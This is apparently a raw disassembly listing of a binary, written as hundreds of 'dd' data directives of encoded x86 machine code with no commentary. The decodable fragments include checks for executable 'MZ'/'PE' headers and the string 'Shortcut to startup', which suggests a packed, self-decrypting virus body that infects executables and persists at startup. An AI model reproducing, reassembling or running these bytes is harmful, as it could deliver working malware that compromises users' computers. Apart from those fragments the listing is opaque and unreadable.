		dd 1604h, 0C3574700h, 9067E24h,	714D985h, 91B5FF06h, 0E9060AA2h
		dd 5, 8263CE48h, 4195FF81h, 9060716h, 70A559Dh,	85B58B06h
		dd 0B060AA2h, 71235BDh,	106C706h, 6A000100h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 9E6CC356h, 54EB4589h, 1A5D9D8Bh, 0F960607h, 384h, 0F98B6600h
		dd 85899650h, 6071AA9h,	0A291B5FFh, 0BD29060Ah,	6071995h
		dd 1DE195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 5BEAD5C3h, 38E0Fh, 0B70F0000h, 199D8BFEh
		dd 8B060721h, 0AA285B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0B0039711h, 6023DB03h
		dd 0DEB70F56h, 0A5858B5Bh, 8B060720h, 0C48689DAh, 0F5000000h
		dd 0F89B531h, 958B0607h, 6070A01h, 6800Fh, 95010000h, 6070645h
		dd 8904C283h, 70EC98Dh,	20508906h, 8E9h, 5269C000h, 99264FF2h
		dd 0BC858D7Bh, 6A060AB5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 5CF8C357h, 66D1BF7Fh
		dd 8689D98Bh, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0F2C35242h, 0D298589h, 81660607h, 6A270BC7h
		dd 0B5FFF800h, 60AA291h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 54C35646h, 9ED355F0h,	5C5BD8Bh, 8B660607h
		dd 8595FFFAh, 6A060702h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 8355C357h, 0F40E79DFh
		dd 0F50F51Eh, 1A8Eh, 11E800h, 2F7F0000h, 288F2539h, 0CC8B7F08h
		dd 510994h, 66186C6Dh, 895FDF8Bh, 30B72434h, 0A291B5FFh
		dd 9D8B060Ah, 6070AC5h,	115595FFh, 0DE8B0607h, 6DDBD83h
		dd 0F000607h, 4884h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0E3FA831Ah, 0EB81E43Ch
		dd 0DDD9989h, 7E9h, 7F73D700h, 0B660770Ch, 8B525050h, 66310FFEh
		dd 585AF98Bh, 8B243489h, 70D319Dh, 91B5FF06h, 0F9060AA2h
		dd 1BF195FFh, 5F570607h, 0A291B5FFh, 8589060Ah,	607164Dh
		dd 1AF595FFh, 50600607h, 118D895Eh, 6106071Ch, 19F5BD83h
		dd 0F020607h, 1284h, 0D98B6600h, 1A29858Bh, 95010607h
		dd 6071BC9h, 0C70000C6h, 70D0985h, 6, 0D9D8B00h, 0E906071Ah
		dd 0FFFFF4EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0F0C35545h, 0C7359352h,	3353C812h
		dd 7293DBDh, 6AC18B06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 3286C353h, 0BD9D8905h
		dd 0BA06071Dh, 0F00E0000h, 0EA81h, 0C283F000h, 81958914h
		dd 8306071Ah, 858D14EAh, 60C23C8h, 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 6D8589C8h, 3060716h,	0B70F3C40h, 95890650h, 6070DC5h
		dd 8950508Bh, 7327595h,	0F80506h, 508B0000h, 89D1030Ch
		dd 7068D95h, 8500306h, 180D9589h, 8F640607h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 129BD83h, 0F000607h,	2484h, 2585C600h, 47060715h, 9AA7D268h
		dd 0BDB5FFD4h, 8D06071Ch, 0A70F485h, 6AD0FF06h,	89D0FF00h
		dd 7006185h, 0E8D38B06h, 0Ch, 62C3DBE3h, 75C9C66Dh, 6E20D09Eh
		dd 8E9h, 0E399FE00h, 74666BE5h,	0B8665BE7h, 0C381FCD7h
		dd 63C7h, 0BE9h, 98305400h, 7927340Fh, 0F1C57586h, 7E8F633h
		dd 0E2000000h, 0D194B4E5h, 0FF58C397h, 11E81E34h, 31000000h
		dd 7075E3E9h, 0D445B81Ah, 2B10C97Bh, 8358353Ah,	5AB9C680h
		dd 0AE85Fh, 4BD40000h, 19F5ABDBh, 0D2CC493Eh, 5AC88B66h
		dd 85BF781h, 0C781795Fh, 75AE254Fh, 14E9h, 7A594E00h, 0D3C22402h
		dd 2A0018DDh, 5827ED12h, 0A84972E5h, 69EF8184h,	517BD0AFh
		dd 4AF18166h, 8B575AC0h, 33048FD7h, 0CCA8166h, 0C0D4803Bh
		dd 6604EE83h, 1B7BC881h, 9D00FE81h, 850FFFFFh, 0FFFFFF7Bh
		dd 8DC3BF0Fh, 0C25588Dh, 89DA8A06h, 70A018Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0B1885141h, 0F79B8F2Eh, 0EDBD8BF6h, 0C7060700h, 714A585h
		dd 647C06h, 0C75E5700h,	72FD585h, 6, 9D8B6000h,	6072F85h
		dd 4DB5FF61h, 0B4060705h, 1995FFF1h, 0E906071Ch, 0Ah, 7B1D8EE2h
		dd 515947D0h, 6A5F30h, 1B6995FFh, 0C08B0607h, 6444BEBh
		dd 9952C624h, 2E95F5CFh, 8AFB16Bh, 7A61EDFCh, 0D4B4A57Ah
		dd 0F7A88248h, 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h
		dd 0A6C2E97Eh, 0B09DAA44h, 0D2DECE9Dh, 87CD064Fh, 19471055h
		dd 3D3AE378h, 84AD59BBh, 6ECCA542h, 278D8D94h, 6A060C26h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 5CFC355h,	0A018D89h, 0CFB70607h, 14A585C7h
		dd 5F400607h, 85C70000h, 6072FD5h, 0
		dd 53AFCA81h, 0B5FF49A2h, 607128Dh, 0FF31E680h,	71C1995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BDD38F4h, 70A3DB5h, 0FF006A06h,	71B6995h
		dd 0EBC08B06h, 9771CA0Eh, 0E95D563h, 0B1408D98h, 0DEA2B796h
		dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch,	0A9A90B33h
		dd 0F1982633h, 0EF5E265Ah, 339F3316h, 0FFB44E60h, 0F867A5E4h
		dd 0A09F3A8Eh, 236CA3BEh, 79672039h, 0D7ADA3BAh, 0D71B2034h
		dd 339F271Ah, 831D2933h, 0C0982633h, 0AABE6CB6h, 0D6157635h
		dd 0AF94000Fh, 0E10DD963h, 839E2130h, 35982664h, 1F152359h
		dd 4B94007Fh, 9A1DAB63h, 39E2A15h, 0BA99B3CCh, 14932034h
		dd 6AA1A23Ch, 0B0152633h, 9C94007Fh, 4DAACE63h,	0F6D82633h
		dd 75CAA3BEh, 24C8203Fh, 0D8BE6AB6h, 0FF677635h, 339F292Eh
		dd 1794E2B0h, 41BE6AB6h, 23157635h, 5594000Fh, 9C0DD963h
		dd 3D9E2130h, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh
		dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h
		dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h
		dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch
		dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h
		dd 0A8517F6Ch, 88152637h, 9C940009h, 6AF7ABBEh,	9320203Fh
		dd 78000000h, 271E7FCh,	0C8D00731h, 4904C783h, 0FFF2850Fh
		dd 0B58DFFFFh, 60C276Fh, 278E8D8Dh, 0CF2B060Ch,	8B05E983h
		dd 868D8DC8h, 6A060C28h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8BFBC357h, 7163585h
		dd 18D8906h, 6A06070Ah,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0CF1EC350h,	0B7E5F720h
		dd 89BE31ABh, 709F1BDh,	0A585C706h, 84060714h, 0F000074h
		dd 85C7F0BFh, 6072FD5h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A3C35545h
		dd 352C4032h, 36BF663Ah, 2DB5FF08h, 6A060731h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F40C357h, 48Ch, 5BB86600h, 1995FF44h, 6A06071Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E8C8C357h, 417438F5h, 95312DCFh, 6071E1Dh, 95FF006Ah
		dd 6071B69h, 49EBC08Bh,	15E23225h, 7C867EA4h, 0AC5FAE00h
		dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh,	0BA4119EEh
		dd 3CAE9F31h, 6BA3DE01h, 23D92754h, 0A6AADF5Eh,	2228593Ch
		dd 0CF10AD2Dh, 9382B582h, 77FC6A65h, 51043D0h, 0E8BE6954h
		dd 918D8D9Bh, 0B7060C29h, 18D8912h, 6A06070Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4DCBC353h, 203DB149h, 8D890355h, 6072CD1h, 14A585C7h
		dd 58800607h, 0BB660000h, 8166ED8Fh, 0C7DC47E6h, 72FD585h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E9268481h, 9, 0C0EFEA21h, 0CD7F3A15h
		dd 0DDB5FF66h, 6A06070Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 241AC352h, 5CB8DB5Ah
		dd 3595293Fh, 0FF060728h, 71C1995h, 6AFA8B06h, 6995FF00h
		dd 8B06071Bh, 1F48EBC0h, 676AFE42h, 0B50980A4h,	0B13792C7h
		dd 293870C3h, 0B920B102h, 0F6A116F1h, 0FA7C00BAh, 5A068206h
		dd 2D019D95h, 0CAA85FCAh, 63017B4Ch, 6BA9A09Fh,	335E70Ah
		dd 9B7B9E0Eh, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 0E8076329h
		dd 8, 83C4231Fh, 7A625EFCh, 1A699D89h, 0E9580607h, 10h
		dd 0F0450C55h, 0F4DCB5FCh, 4914D6E4h, 11C6054Ah, 5E23C081h
		dd 8D890000h, 60711E9h,	0BBh, 518D8900h, 8B060732h, 0F6811814h
		dd 193146A5h, 0BE28EA81h, 860F005Bh, 5,	38EF8166h, 58F2811Ah
		dd 81525AE9h, 513D7CC2h, 2952F95Eh, 70BD99Dh, 18048F06h
		dd 3850Fh, 0BF0F0000h, 0BD8B50F1h, 6070AE9h, 4EB835Eh
		dd 11998D8Bh, 0FB810607h, 0FFFFA2A8h, 22850Fh, 0E9600000h
		dd 11h,	53277EA7h, 53B5FD83h, 5CF494A9h, 0AF3B2ADBh, 20E96172h
		dd 0DA000000h, 0DE476F9Eh, 80E95BB1h, 0B4FFFFFFh, 855624D6h
		dd 3886B28Bh, 0EEF56EEFh, 0F12AA9D1h, 0E803BFA1h, 11h
		dd 66C498DFh, 0ADEB7C1Fh, 59BDAECEh, 54C7874Fh,	75B58BA3h
		dd 5B060729h, 629BD89h,	0C3810607h, 7239h, 9E8FF2Bh, 0C5000000h
		dd 1DCF310Ah, 4FF78A32h, 5558D8Bh, 8B5E0607h, 81F93B04h
		dd 9D6D61C0h, 81CA8B65h, 3B0AB6C0h, 0EA81667Dh,	0C081B56Ch
		dd 69DCC853h, 2860Fh, 0D78B0000h, 893B0489h, 7293585h
		dd 68C0F06h, 81000000h,	5EFF7BC1h, 4EF830Ah, 70FF81FCh
		dd 0FFFFF8Eh, 1085h, 0D1816600h, 1EE9F86Fh, 68000000h
		dd 0AC26B8F5h, 0E91EB2F2h, 0FFFFFF9Fh, 8B80163Eh, 0E47FDBEFh
		dd 2FD0B3B3h, 64669B00h, 8E83Eh, 5FA70000h, 71BDD6AFh
		dd 8166E060h, 5F1C12F3h, 2D7D8D89h, 0C7810607h,	6BADh
		dd 1EB9DA8Ah, 812A8A2Ch, 75EEAFC1h, 0D78B66D5h,	958B078Bh
		dd 6070125h, 90E9F081h,	8B662269h, 6CC081D7h, 57363038h
		dd 14F0815Bh, 66355EE9h, 0D6F7C281h, 419D8B50h,	8F060721h
		dd 52EF8007h, 0B7FCEF81h, 9589178Eh, 6071229h, 0B7F8C781h
		dd 45B6178Eh, 0F01E983h, 0FFFFB385h, 18529FFh, 1C060724h
		dd 22C0DC0Eh, 0DFBE4720h, 8F3547CFh, 0A6415927h, 0B4CDDB24h
		dd 0F135CB28h, 0A26E4127h, 0FFEDCA41h, 3937509Ah, 16404121h
		dd 8250FCA4h, 0B3354720h, 6866113Eh, 0F536F9E7h, 7DBC4127h
		dd 7A32710Ah, 949DDCAAh, 0CCCA472Eh, 32B6197Ch,	0C1324C42h
		dd 0B3223527h, 0F536F974h, 7DBC4127h, 7A32710Ah, 99A2DCAAh
		dd 0CCCA472Eh, 8F5F197Ch, 0C736A971h, 0BD154127h, 85BC1FE4h
		dd 0BCB44503h, 7C204503h, 68734127h, 0F7F5F5E4h, 8F354120h
		dd 0BEED333Dh, 68FE0F46h, 0F15F18EDh, 0F836A977h, 24154127h
		dd 7ABC19E4h, 5BB44503h, 8F2E4503h, 97754127h, 7B6FCAE4h
		dd 0B063491Eh, 79F5CAFEh, 0ADBB8DC5h, 0D2E6C014h, 79318C75h
		dd 74BE99ABh, 433A458Fh, 0E335424Fh, 0AFABFE41h, 5ECC8BA6h
		dd 0C1B60E17h, 38325696h, 6B14E27h, 66354127h, 0C7354129h
		dd 2278127Eh, 92D8D710h, 0EF577C8Ch, 45DC9C6Ah,	0C6354124h
		dd 1F124199h, 31532125h, 42BCDC41h, 0E5326036h,	36B0CC46h
		dd 11334BAEh, 7C354137h, 6067021h, 20BAB3B5h, 33F471B4h
		dd 48FCA2Ah, 0E0FCDC0Ch, 21CA4720h, 1063414Dh, 7C354124h
		dd 60F61F07h, 1B1135AEh, 8B1105A6h, 0C735413Dh,	25F61761h
		dd 95412CFFh, 45BE1543h, 7A324D9Eh, 0BA3A81A2h,	1F35418Fh
		dd 6764414Dh, 0C7354124h, 0BAF61807h, 0F5110DAEh, 0FC1105A6h
		dd 7C35413Fh, 4FF61066h, 0AF76F1E4h, 0B7B4BD94h, 3CB42770h
		dd 0E322C428h, 74BC4127h, 0FE324AFAh, 784DC041h, 0BA3A4325h
		dd 1F3543FBh, 27A2AC9Dh, 0FFB42771h, 663A21BBh,	0F135417Fh
		dd 1063414Dh, 7C354124h, 60F61F07h, 1B1135AEh, 8B1105A6h
		dd 0C7354132h, 69F61761h, 0F133A82Fh, 57CB4127h, 0C0A0B218h
		dd 0D63739A7h, 1F13C428h, 4534127h, 0BFB427F4h,	0EC9E4121h
		dd 0F13556A2h, 71CBCA27h, 7B15ACB2h, 3C4BA821h,	1ADC4127h
		dd 52354127h, 0D0E95FC0h, 0E2344199h, 36B0CC61h, 71334BAEh
		dd 7B0500A2h, 54E5BE21h, 1CDD1227h, 0AF354127h,	4E6E827Ch
		dd 6231657Bh, 0EA316563h, 0BB354127h, 34D78274h, 15D13657h
		dd 9ABCD679h, 893259CEh, 433A81A2h, 0E33540CFh,	0F133CB28h
		dd 4D044127h, 7A32516Ah, 35379A6h, 9A3A4325h, 8F354133h
		dd 0BFB4B8ACh, 0BC082721h, 0F8B14E5Dh, 9E354125h, 0EAB883A6h
		dd 0A20DC041h, 93B04E47h, 4354127h, 0C00468BAh,	0AEB0C821h
		dd 71334616h, 0F7DD435Fh, 7C3537A2h, 47B8CA27h,	79334630h
		dd 8F3339A6h, 0A3B04EE7h, 89354127h, 0F2DD1027h, 0D8354127h
		dd 0F56C827Eh, 0BF31656Bh, 4316563h, 0CE354127h, 0F7A68276h
		dd 6838FDE6h, 6CBC829Dh, 0FE325B4Eh, 7C34E2CEh,	6B352B27h
		dd 1F3542CFh, 4C686127h, 0E359C87Ah, 0C771C023h, 0F1355B23h
		dd 3B600427h, 3DE60773h, 5ED2568Bh, 0BDBE86A6h,	12BC5A1Eh
		dd 0C132401Eh, 0EEA8CA46h, 4F33460Ah, 86344027h, 7C3DA947h
		dd 0A2654127h, 7B7F0F59h, 0D567C6C5h, 0C0DD217Dh, 0B5354127h
		dd 49A0467Ch, 0F76DEFE1h, 7C3541AEh, 0B3542027h, 15BC86A2h
		dd 0B6B04821h, 38334626h, 27D9FAF7h, 1CB557D0h,	0F7F5C48Dh
		dd 7C359AA3h, 6C352B27h, 1F3542CFh, 4C6F6127h, 0E361C87Dh
		dd 0C771C023h, 0F1355D23h, 3B670327h, 73342E2Fh, 0A1F31A80h
		dd 5EB8CACAh, 0A6334626h, 0C018ECA2h, 0B0DC121h, 0F16AC428h
		dd 32B44127h, 12CAC3F4h, 4D3039A7h, 1F7AC428h, 84DC4127h
		dd 0A7354127h, 3CFCE1D8h, 5438BF48h, 80B5326Ah,	0F83A1220h
		dd 3E3541E7h, 0F760414Dh, 8F354124h, 9AF61C07h,	0E7112DAEh
		dd 0F51105A6h, 0F8354133h, 23F61462h, 3E3555CEh, 8D2F6327h
		dd 0A31760CBh, 9F5A338h, 13C366CCh, 0E11DA6E0h,	0C0B42717h
		dd 0F93A44A8h, 3E35411Fh, 0D18F4AEh, 0F7B54720h, 423A2921h
		dd 0E335410Fh, 0D748DCACh
		dd 79534720h, 59CA4A5Fh, 3E23C428h, 923A4127h, 8F354121h
		dd 0C848DC26h, 2FBF4720h, 0F1350ACEh, 67E6C127h, 7C35419Fh
		dd 3E26A827h, 0B29B4127h, 0AE3657F4h, 7F594CE8h, 0C5D2A70h
		dd 0F20FC0F9h, 0F804A8C2h, 7C5F4127h, 3E36A971h, 41154127h
		dd 0FBBC1FE4h, 83B44503h, 0E32C4503h, 0A7734127h, 0B31675E4h
		dd 0C3C56F3Fh, 48E606Eh, 1F35409Fh, 76B8CA27h, 9733463Dh
		dd 0A4E5D49Eh, 0D531C82Ch, 45B8FB92h, 7A396AC1h, 0EA8CCAAh
		dd 3C8D472Bh, 8C422772h, 0C036E8A2h, 4FFA6A21h,	86344027h
		dd 7C3DA947h, 0A2654127h, 7B7F0F59h, 0D567C6C5h, 0C0DD217Dh
		dd 0E9834127h, 58A4F305h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0FBC35242h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0AAC35545h,	56434282h, 5F06B251h
		dd 0FC00B5Fh, 3F84h, 5DBD2300h,	8D060717h, 74B4AB5h, 13E96006h
		dd 49000000h, 0D84DC8DCh, 585901Ah, 781C4BB7h, 0CE1F288Ch
		dd 0CB819FC8h, 4D1937A8h, 3B861h, 8D2B0000h, 6070C2Dh
		dd 9589E6FFh, 6072F69h,	0F88B6640h, 0CE9h, 460AE800h, 0D5C0AFB9h
		dd 0FDC3EC74h, 6AC08B75h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0FF0EC353h,	7FF2A20Eh
		dd 0C1BD8975h, 8306072Eh, 70211BDh, 9750006h, 0D65BD83h
		dd 74000607h, 8B535019h, 403B8C0h, 85890000h, 60723A9h
		dd 0AB0F9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h
		dd 403B853h, 85890000h,	60723A9h, 0A7B09D8Dh, 0D3FF0609h
		dd 0E580585Bh, 8BCF8BE8h, 727F58Dh, 2BC08B06h, 7165D9Dh
		dd 58206106h, 31C85433h, 12100133h, 0BB55C26Eh,	0B300255Fh
		dd 27062577h, 77010133h, 0BB87C266h, 3F419CB8h,	0BE460734h
		dd 63106BEBh, 320802DBh, 0F15D2133h, 164E886Ah,	16458037h
		dd 32801737h, 0F1114033h, 0BB7F4F7Eh, 353D28B6h, 3D0CA935h
		dd 320676B7h, 63026B33h, 320102DBh, 0F1D92133h,	160C886Ah
		dd 16648037h, 32101B37h, 0F1594033h, 0E3AC0D91h, 0B16E51F0h
		dd 3516B08Eh, 0B68F0135h, 3240010Fh, 0DA750159h, 32100130h
		dd 6FCB5C13h, 36206DBAh, 362645B2h, 32010126h, 0B0435476h
		dd 4BD58836h, 0DB26061Fh, 32100313h, 320809DBh,	81CBA633h
		dd 943D3DFFh, 579C88CCh, 6886061Ch, 16448863h, 1D49E6B2h
		dd 331F486Dh, 58F6257Fh, 31EC5733h, 12020133h, 0BB5FC26Dh
		dd 0B3842547h, 2A442577h, 74200133h, 5EAAC265h,	3DA1258Ch
		dd 320407BAh, 8BB73233h, 0B9070628h, 35B0A0A6h,	322A5935h
		dd 3223E960h, 69300133h, 6E815AF0h, 76850517h, 321B0517h
		dd 61420133h, 0C6A9A3F0h, 54AC4020h, 0B154FE8Dh, 327A2DF3h
		dd 320BE963h, 6A240133h, 768B59F0h, 76800517h, 329D0517h
		dd 62000133h, 0E0CB9AF0h, 0C6A5A589h, 0B937936Ch, 3A830E3Bh
		dd 62020133h, 1B60BCB8h, 54DA0734h, 58BC49B8h, 31C85633h
		dd 12100133h, 0BB57C26Ch, 0B300254Fh, 2A062577h, 75010133h
		dd 0A74EC264h, 0BB04379Ah, 3539FC86h, 0B916735h, 0B607FE05h
		dd 32040194h, 3BC382C6h, 13B4BC1Ah, 0B000734h, 17C50EDAh
		dd 58200132h, 31F85633h, 12080133h, 0BB5BC26Ch,	0B306254Fh
		dd 29052577h, 75800133h, 0F430C264h, 0E3462FA5h, 0AF237962h
		dd 340F1BDEh, 540540B8h, 31152A89h, 61016BFBh, 328002DBh
		dd 0F11B2133h, 167C8868h, 16548037h, 32081A37h,	0F1574233h
		dd 554A9E88h, 7AD73161h, 8F0BFAB8h, 34470EA2h, 0B925C0B0h
		dd 3530B4A6h, 0A2318035h, 3D8F4278h, 3202B2B6h,	64016B33h
		dd 328002DBh, 0F11E2133h, 1654886Dh, 16548037h,	32081437h
		dd 0F1524733h, 0B364C575h, 0BF83D2FDh, 35CB4BBEh, 62406B35h
		dd 322002DBh, 0F1482133h, 164C886Bh, 16408037h,	32021937h
		dd 0F1514133h, 1AC9F34Fh, 3247E881h, 0F0A30133h, 448462FBh
		dd 320BB992h, 326E0133h, 3201E964h, 6D210133h, 4E095EF0h
		dd 76C10517h, 323A0517h, 65570133h, 34BA0AF0h, 47F43539h
		dd 1293B4B8h, 0AF2A0734h, 34871F2Eh, 322AE0CCh,	3223E960h
		dd 69300133h, 6E815AF0h, 76850517h, 321B0517h, 61420133h
		dd 0AFBF38F0h, 0BBCCBC40h, 352450BEh, 0E59B6735h, 62086B52h
		dd 320402DBh, 0F15A2133h, 1645886Bh, 16C48037h,	32401737h
		dd 0F1704133h, 0B96D74FDh, 351DF0AEh, 0D3B98C35h, 0BF040D02h
		dd 3E35EDBEh, 0B1F4B935h, 0B77300A1h, 34273262h, 5820CE18h
		dd 31C85433h, 12100133h, 0BB55C26Eh, 0B300255Fh, 27062577h
		dd 77010133h, 5E98366h,	0C08BA4F3h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 10C35242h, 8AA4E1CDh, 0F8FBBF09h
		dd 22DF80D7h, 6AD88B66h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0A249C352h,	10E953h
		dd 36FC0000h, 0A5338CB1h, 2DEE9953h, 9E9AD121h,	5660DFAFh
		dd 4A9F08B9h, 8B665A6Eh, 0C38B61F0h, 2D799D8Dh,	39B80607h
		dd 89000000h, 70A1D85h,	0E806h,	5580000h, 0Dh, 39E90389h
		dd 0
		dd 0Dh dup(77E600h), 0FF77E600h, 7E8h, 0FDA66D00h, 0A080C5BAh
		dd 5F565BFCh, 6185C381h, 2BFC0000h, 13048BD2h, 2FC081F8h
		dd 81468947h, 21096FF0h, 0CABF0F18h, 0A88EE881h, 81666080h
		dd 89B371D9h, 0F98B1304h, 6604EA83h, 0DA1DDF81h, 9EFCFA81h
		dd 850FFFFFh, 1Ah, 34E9F5h, 76DC0000h, 0FD3B10F9h, 0AFB8943Dh
		dd 4432489h, 8B1488DEh,	6E9F583h, 0C0000000h, 4CE9E007h
		dd 0FF9FE920h, 0DFE4FFFFh, 3191E110h, 0CB5B5AA4h, 0E9DEC721h
		dd 8D8D0B62h, 60C370Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0DEC35646h, 93B83829h, 0BFDE13DBh, 8FB9E2Eh
		dd 1811BD89h, 8D890607h, 6070A01h, 85C783B0h, 60714A5h
		dd 65C0h, 7E8h,	1D7A8200h, 653A7B4Fh, 0CC1B58Bh, 8B5F0607h
		dd 0D585C7DAh, 6072Fh, 0F000000h, 18Ah,	0B5FFF500h, 60705E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h
		dd 9DC34CB2h, 36918C6Fh, 4590B866h, 1C1995FFh, 0CF810607h
		dd 3F617A17h, 95FF006Ah, 6071B69h, 0EEBC08Bh, 0D6D46A0Dh
		dd 13C0FD84h, 212B4D6Dh, 8D8D4DA7h, 60C37F4h, 0A018D89h
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6F336EC3h, 156FFCC2h, 0F806B0Fh, 1788h, 0CE800h
		dd 1B3F0000h, 6D178251h, 98A30569h, 76B84F08h, 5819F53Bh
		dd 0C7F38B66h, 714A585h, 706806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 51F2EF6Ch
		dd 369BB866h, 0D585C75Eh, 6072Fh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0FE08C351h, 0A81A40D0h, 0C680723Fh, 0FE8B57EFh, 0DDB5FF5Fh
		dd 306070Ch, 71601BDh, 1995FF06h, 0E906071Ch, 6, 7E3731Bh
		dd 6A32ADh, 1B6995FFh, 0C08B0607h, 8F3048EBh, 0C515D8Dh
		dd 782F5881h, 9F184229h, 75C11BCFh, 0F40DC726h,	0AE749F17h
		dd 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h,	586D344Dh
		dd 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 0C72541AAh, 73FEFD82h
		dd 0F83DB9D4h, 0B0E959B9h, 60000000h, 0F6DA8C66h, 850F04C2h
		dd 0Ch,	2939853Bh, 840F0607h, 36h, 3199853Bh, 840F0607h
		dd 2Ah,	30A5853Bh, 840F0607h, 1Eh, 0DE1853Bh, 840F0607h
		dd 12h,	2C75BD83h, 0F010607h, 584h, 5FE900h, 0D08B0000h
		dd 8B3C5203h, 88BAh, 784A8B00h,	840FC985h, 49h,	0F8C281h
		dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh
		dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h
		dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh,	4B4A9D8Dh, 5B80607h, 0FF000000h
		dd 0BC361E3h, 536CEBD0h, 74726F68h, 20747563h, 73206F74h
		dd 74726174h, 7075h, 13h dup(0)
		dd 0FF000000h, 16472BBh, 0E9000000h, 0F2Eh, 0C3B1768h
		dd 0A82E906h, 0E168FFFCh, 0E9060C3Bh, 0FFFC0A78h, 0C3D8C68h
		dd 0A6EE906h, 0CB68FFFCh, 0E9060C3Dh, 0FFFC0A64h, 0C3E6D68h
		dd 0A5AE906h, 2068FFFCh, 0E9060C3Fh, 0FFFC0A50h, 0C43A168h
		dd 0A46E906h, 6568FFFCh, 0E9060C46h, 0FFFC0A3Ch, 0C472468h
		dd 0A32E906h, 0B018FFFCh, 84F3D998h, 68D5BB7Ah,	4CB59B5Ah
		dd 27917736h, 0D1C45413h, 0A05F73DDh, 7F3E4EBAh, 601F2B99h
		dd 3EFD0F7Ah, 519E0CB4h, 0F7911C99h, 0E853935Eh, 1D886ED6h
		dd 0A61F359Eh, 31A918FEh, 0F1B6CF9Ch, 88067F9Eh, 0B5192CC9h
		dd 0A8BE270Dh, 0D414822Ah, 60911767h, 0C0117FE7h, 0B4850963h
		dd 0CB73001Eh, 963105Dh, 563DB685h, 0DC2C32CEh,	4ED6547Bh
		dd 0E02382BCh, 4C8Eh, 9400E600h, 25A31C84h, 40AB915Ah
		dd 0CF4DC62Eh, 17BF1332h, 176DBDA9h, 86F49C91h,	85095339h
		dd 531F6CDAh, 4CC58509h, 0FB230A9h, 9A08EE96h, 0A8108Eh
		dd 379FAD1Ah, 81D240BEh, 75850953h, 0B05243DFh,	92E0224Dh
		dd 0CEh, 0D6E853C7h, 0CBDD482Eh, 46CEA63h, 38A0B41Eh, 6DD5E752h
		dd 4C7ADEC5h, 0C00E3AE8h, 5226D5F4h, 0C745BE6Eh, 0A56476E1h
		dd 9DA917FDh, 0D03EBC35h, 8B10AA4Eh, 0DF9EB01Bh, 0D4218F37h
		dd 7A8B10A0h, 329D8301h, 77805BB2h, 950E2BFAh, 349F852Dh
